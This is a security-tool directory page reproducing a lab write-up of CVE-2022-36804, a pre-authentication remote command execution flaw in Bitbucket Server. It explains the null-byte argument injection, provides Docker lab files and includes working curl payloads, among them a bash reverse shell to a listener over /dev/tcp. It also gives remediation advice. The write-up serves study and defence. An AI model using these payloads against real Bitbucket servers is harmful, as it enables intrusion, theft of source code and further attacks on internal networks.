Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2022-36804-Bitbucket-RCE-Analysis — Full-chain reproduction of CVE-2022-36804 (Bitbucket RCE). Includes a Dockerized laboratory, pspy64 monitoring for null-byte injection verification, and a custom Bash exploit script. Based on Assetnote research. | Kitploit
Tools/GitHubGitHub/danielhallbro/cve-2022-36804-bitbucket-rce-analysis
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubdanielhallbro/cve-2022-36804-bitbucket-rce-analysis

CVE-2022-36804-Bitbucket-RCE-Analysis

Full-chain reproduction of CVE-2022-36804 (Bitbucket RCE). Includes a Dockerized laboratory, pspy64 monitoring for null-byte injection verification, and a custom Bash exploit script. Based on Assetnote research.

View Repository
5 months agoNot yet reviewed

CVE-2022-36804: Bitbucket Remote Command Execution (RCE)

Technical Analysis & Laboratory Exploitation of Null-Byte Argument Injection

Vulnerability Summary

CVE-2022-36804 is a high/critical Argument Injection vulnerability within the REST API of Atlassian Bitbucket Server and Data Center.

While the official NVD National Vulnerability Database base score is 8.8 (High) based on the assumption of required read privileges (PR:L), this analysis treats it as a 9.8 (Critical) flaw (PR:N). If a target repository has public access enabled—a common configuration—the exploit vector becomes entirely pre-authenticated.

This repository documents a full-chain laboratory reproduction of the exploit, directly based on the technical research published by Assetnote.

The analysis details the transition from environment orchestration and security filter evasion to achieving an interactive reverse shell. As outlined in the original discovery, this flaw allows for Remote Command Execution (RCE), which can be exploited pre-authentication if the target repository has public access enabled.

Technical Deep-Dive: The Null-Byte Mismatch

The vulnerability is rooted in a "Sanitization Impedance Mismatch" between the Java application runtime and the Linux Operating System.

As highlighted in Assetnote's research, Bitbucket utilizes the NuProcess library to construct and execute Git commands. When a user provides a prefix parameter to the /archive endpoint, Bitbucket fails to strip null characters (%00) before passing the argument list to the OS.

  • Java's View: Treats the input as a single string object that safely contains a null byte.
  • Linux Kernel's View: Written in C, the kernel uses null characters to terminate strings. When execve() processes the command, it cuts the string at %00. Because of how NuProcess passes the data, the OS treats everything following the null byte as an entirely new command-line argument.

By injecting --exec=..., an attacker breaks out of the intended --prefix flag and forces the git archive process to execute an arbitrary binary, leading to Remote Command Execution (RCE).

Click to Expand: Payload Anatomy & The "Array Shift"

To understand how the exploit transitions from a simple URL parameter to an OS-level command, we must dissect the payload's structure and observe the "Array Shift."

1. The Payload Breakdown

prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x

Laboratory Setup

To simulate a realistic attack surface, the laboratory environment utilizes a dual-container architecture isolated within a Docker bridge network (hacking_net). This setup ensures that the exploitation and monitoring can be performed in a controlled environment without affecting the host system.

Architecture Components

  • Victim Node: Runs Atlassian Bitbucket Server version 7.17.1. The container is intentionally named bitbucket-victim. This reflects a critical design refinement made to ensure compliance with Apache Tomcat’s RFC 7230 enforcement. By using a hyphen instead of an underscore, the environment avoids the "Invalid Character" 400 errors that occur during payload execution—a key technical hurdle identified and resolved during the research phase.

  • Attacker Node: A tailored Kali Linux rolling image. Unlike a standard image, this node is pre-provisioned with the specific toolset required for this exploit chain: git for repository manipulation, curl for payload delivery, and netcat-traditional for capturing the reverse shell.

docker-compose.yml (Tomcat RFC-Compliant Version)
root@kitploit:~
services:
  bitbucket:
    image: atlassian/bitbucket-server:7.17.1
    container_name: bitbucket-victim # Renamed from bitbucket_victim to avoid host header issues when executing payload.
    ports:
      - "7990:7990"
    volumes:
      - ./bitbucket-data:/var/atlassian/application-data/bitbucket
    networks:
      - hacking_net

  kali:
    build: .
    container_name: kali_attacker
    tty: true
    networks:
      - hacking_net

networks:
  hacking_net:
    driver: bridge

dockerfile (Attacker Node)
root@kitploit:~
# Use the official Kali Linux rolling image as the base
FROM kalilinux/kali-rolling

# Update package lists and install essential tools for the exploit
# - git: REQUIRED for this specific CVE (we will manipulate git commands)
# - curl: To send the HTTP requests (the payload)
# - netcat-traditional: To catch the reverse shell (listener)
# - nano: Added for user-friendly text editing inside the container
# - python3: Useful for scripting or hosting simple HTTP servers
RUN apt-get update && \
    apt-get install -y git curl netcat-traditional nano python3 && \
    apt-get clean && \
    rm -rf /var/lib/apt/lists/*

# Set the working directory to /root for convenience
WORKDIR /root

# Keep the container running indefinitely so we can access it via 'docker exec'
# This command simply follows the null device, doing nothing but keeping the process alive
CMD ["tail", "-f", "/dev/null"]

Lab Verification (The Fast Track)

If you have already provisioned the environment using the docker-compose.yml provided above, you can use the included exploit.sh script to verify the vulnerability and pop a reverse shell in seconds. 1. Prepare the Listener

On your Kali attacker node (or host machine), start a netcat listener to catch the shell:

root@kitploit:~
nc.traditional -lvnp 4444

2. Execute the Exploit

Run the script by providing the target Bitbucket IP, the Project/Repo names, and your listener details:

root@kitploit:~
# Usage: ./exploit.sh <target_ip> <project_key> <repo_slug> <attacker_ip> <attacker_port>

chmod +x exploit.sh
./exploit.sh 172.19.0.3 CVE repo1 172.19.0.2 4444

3. Verify Access

Once the script executes, check your netcat terminal. You should have an interactive session as the bitbucket user.

root@kitploit:~
whoami
# Output: bitbucket
id
# Output: uid=2003(bitbucket) gid=2003(bitbucket) groups=2003(bitbucket)

Step-by-Step Execution & Troubleshooting

What follows is the raw execution log of the laboratory session, detailing the transition from environment setup to a fully interactive reverse shell, including the troubleshooting steps required to bypass application logic and web server constraints.

Step 1: Provisioning & Application Setup

I started by spinning up the vulnerable environment and configuring the target application.

  1. Executed docker-compose up -d --build to deploy the Kali attacker and Bitbucket victim containers.
  2. Navigated to http://localhost:7990 and waited for the Bitbucket setup routine to initialize.
  3. Configuration:
    • Database: Selected the Internal database for rapid deployment.
    • Licensing: Captured the Server ID and authenticated via my personal Atlassian account to generate a 30-day evaluation license.
    • Account Security: Created the primary Admin account (keeping credentials handy for later git interaction).
  4. Created a new Project with the Project Key CVE and an empty repository named Repo1.
Project Creation in Bitbucket Repo Creation in Bitbucket
  1. Navigated to the repository settings to ensure Public Access was enabled, a prerequisite for the pre-authenticated exploit vector.
Enabling Public Access

Step 2: Setting the Trap (White-Box Monitoring)

To verify the injection in real-time rather than relying on blind testing, I decided to deploy pspy64 to monitor underlying Linux processes.

  1. Downloaded the pspy64 binary from the official GitHub repo.
  2. Troubleshooting: Windows Defender flagged the binary as a high-risk hacktool, trying to quarantine the file. I had to manually intervene in the Windows Security settings to allow the threat, effectively whitelisting the tool for this specific research context.
  3. I transferred the binary from the host to the victim container using the Docker CLI to bypass internal network filters:
root@kitploit:~
docker cp pspy64 bitbucket_victim:/tmp/pspy64

# Note that your container would be called bitbucker-victim if you clone this repo.
  1. Spawning a root shell (-u 0) into the victim container, I applied execution privileges and started the monitor:
root@kitploit:~
docker exec -u 0 -it bitbucket_victim bash
cd /tmp
chmod +x pspy64
./pspy64
Setting up pspy64

Step 3: The First Payload Attempt & Tomcat's Gatekeeper

Switching to the attacker node (docker exec -it kali_attacker bash), I fired the initial remote command execution payload aimed at creating a file (/tmp/pwned).

root@kitploit:~
curl -s "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"
  • Roadblock 1 (RFC Compliance): The payload failed instantly. Apache Tomcat returned an error regarding the _ character in the host name.
Tomcat RFC Roadblock
  • Fix: Tomcat strictly enforces RFC naming conventions. I appended a Host header override (-H "Host: localhost") to force the payload through the web server to the Bitbucket application layer

Step 4: Logic Bypass (The Empty Repository)

Firing the updated payload with the Host header resulted in a new error: {"context":null,"message":"You are not permitted to access this resource","exceptionName":null}

Empty Repo Roadblock
  • Roadblock 2 (Application Logic): Even with public access enabled, the /archive endpoint was denying access. I deduced this was because git archive cannot operate on an empty repository—it needs a commit tree to parse.
  • Fix: I initialized the repository. I drafted a short README.md ("This is a test repository for CVE-2022-36804") and attempted to push it from the Kali container.
  • Roadblock 3 (DNS & Routing): My Git push failed because the container hostname bitbucket_victim contained the forbidden underscore. This underscore is haunting me - lesson learned!
  • Fix: I inspected the Docker network to find the victim's local IP (172.19.0.3) and pushed the commit using the admin credentials:
root@kitploit:~
git remote add origin http://[email protected]:7990/scm/cve/repo1.git
git push -u origin master
# If you want to try this out yourself - it should look like this: 
# http://[ADMIN-USERNAME]@[VICTIM-IP]:7990/scm/[PROJECTNAME]/[REPONAME].git

Step 5: Verification of Argument Injection

With the repository initialized, I fired the Host-header-modified payload once more:

root@kitploit:~
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+'touch+/tmp/pwned'%00--remote=file:///%00x"

Success. Flipping over to my monitor terminal, I observed the "smoking gun." pspy64 captured the exact moment the Java process passed the injected null-byte string to the Linux kernel. As predicted in the technical analysis, the OS treated everything after the null byte as a new argument.

pspy And Manual Verification

I followed this up with a manual check inside the container, confirming that the file /tmp/pwned had indeed been created by the bitbucket user (UID 2003).

Step 6: Escalation to Interactive Shell

To finalize the Proof of Concept and demonstrate maximum impact, I transitioned from a simple file creation to gaining full interactive system access.

  1. I opened a new Kali terminal and initiated a netcat listener to catch the incoming connection:
root@kitploit:~
nc.traditional -lvnp 4444
  1. I retrieved my Kali container's internal IP using hostname -I to ensure the victim knew where to send the shell.

  2. Executed the final payload. I used a URL-encoded bash reverse shell to ensure characters like >, &, and ' bypassed Tomcat's HTTP request parsers:

root@kitploit:~
curl -s -v -H "Host: localhost" "http://bitbucket_victim:7990/rest/api/latest/projects/CVE/repos/repo1/archive?prefix=x%00--exec=/bin/bash+-c+%27bash+-i+%3E%26+/dev/tcp/[KALI_CONTAINER_IP]/[LISTENER_PORT]+0%3E%261%27%00--remote=file:///%00x"
Shell Takeover Payload

Result: The connection stabilized. I successfully obtained an interactive shell as the bitbucket service user, proving a successful and total service compromise.

Shell Takeover Proof

Architectural Impact & Post-Exploitation

It is important to distinguish between the web application and the underlying OS. This reverse shell provides access to the server environment, not "Admin" rights within the Bitbucket UI.

As an OS-level argument injection, the shell inherits the privileges of the parent process—in this case, the bitbucket service account (UID 2003).

While this isn't immediate root access, the impact is still critical:

  • Intellectual Property Theft: Unauthorized access to the underlying Git objects for all repositories hosted on the instance, effectively bypassing the application's internal Role-Based Access Control (RBAC).

  • Credential Harvesting: Access to internal configuration files and database secrets.

  • Pivoting: The compromised server can now be used as a gateway to attack the internal network.

In a hardened environment, this is a total Service Compromise. While a secondary privilege escalation would be needed for full host control, the primary objective—accessing the organization's intellectual property—is fully realized.

Remediation & Mitigation

To secure Bitbucket instances against this vulnerability, Atlassian released patches that implement strict validation on the prefix parameter and update the process execution logic to prevent null-byte argument splitting.

  • Official Fix: Upgrade to Bitbucket Server and Data Center versions 7.17.10, 7.21.4, 8.0.3, 8.1.3, 8.2.2, 8.3.1, or any version released after August 2022.

  • Immediate Mitigation: If an immediate upgrade is not possible, ensure that Public Access is disabled for all repositories. While this does not remove the vulnerability, it shifts the attack surface from an unauthenticated (Pre-Auth) vector to an authenticated one, requiring a valid user account to execute.

Technical Resources & Credits

This Proof of Concept was developed by synthesizing research from the following primary sources and laboratory tools:

Primary Research

  • Assetnote Research: Breaking Bitbucket: Pre-auth RCE (CVE-2022-36804) – The original discovery and technical walkthrough.

  • Technical Inspiration: Devcraft - GitHub RCE via Git Injection – The research on Git argument injection that inspired the Assetnote discovery.

Vulnerability Data

  • NVD Entry: CVE-2022-36804 Official Advisory – The National Vulnerability Database record and severity scoring.

Laboratory Components

  • Vulnerable Image: Atlassian Bitbucket Server 7.17.1 – The specific container layer utilized for this reproduction.

  • Monitoring Tool: pspy (Process Monitoring Tool) – Utilized for white-box verification of argument injection in the Linux kernel.


Disclaimer: This project is intended solely for educational purposes and ethical security research. Unauthorized exploitation of target systems is strictly prohibited.

Download Tool
ComponentPurposeTechnical Role
prefix=xRequirementgit archive needs a prefix; x acts as a placeholder.
%00The KnifeNull-Byte. Java passes it, but the C-based Linux kernel terminates string here.
--exec=...The RCE TriggerThe Dangerous Flag. Abuses Git's built-in feature to execute external programs.
touch ...The ActionThe command to be executed. Safe PoC to verify RCE.
--remote=...The TrashcanConsumes the Commit ID (appended by Bitbucket) as a valid argument, ensuring the command executes cleanly without syntax errors.

2. The "Array Shift" Visualized

This illustrates the core of the vulnerability: how Data (a directory prefix) is transformed into an Instruction (a command flag).

Java's Execution Context (Initial State):

Java sees a single, long string as the third argument.

root@kitploit:~
[
  "git",                                      // Index 0
  "archive",                                  // Index 1
  "--prefix=x\0--exec=...\0--remote=...\0x",  // Index 2: The single, polluted string
  "1a2b3c4d..."                               // Index 3: Appended by Bitbucket
]

Linux Kernel Execution (Exploited State):

The kernel's execve() syscall splits the string at every null-byte (\0), shifting the injected flags into their own standalone positions in the process's argument array.

root@kitploit:~
[
  "git",                                      // argv[0]: https://raw.githubusercontent.com/danielhallbro/cve-2022-36804-bitbucket-rce-analysis/HEAD/Executable
  "archive",                                  // argv[1]: Subcommand
  "--prefix=x",                               // argv[2]: Terminated early by %00
  "--exec=/bin/bash -c 'touch /tmp/pwned'",   // argv[3]: THE INJECTED FLAG (RCE)
  "--remote=file:///",                        // argv[4]: THE TRASHCAN (Redirects logic)
  "1a2b3c4d..."                               // argv[5]: COMMIT ID (Consumed by --remote)
]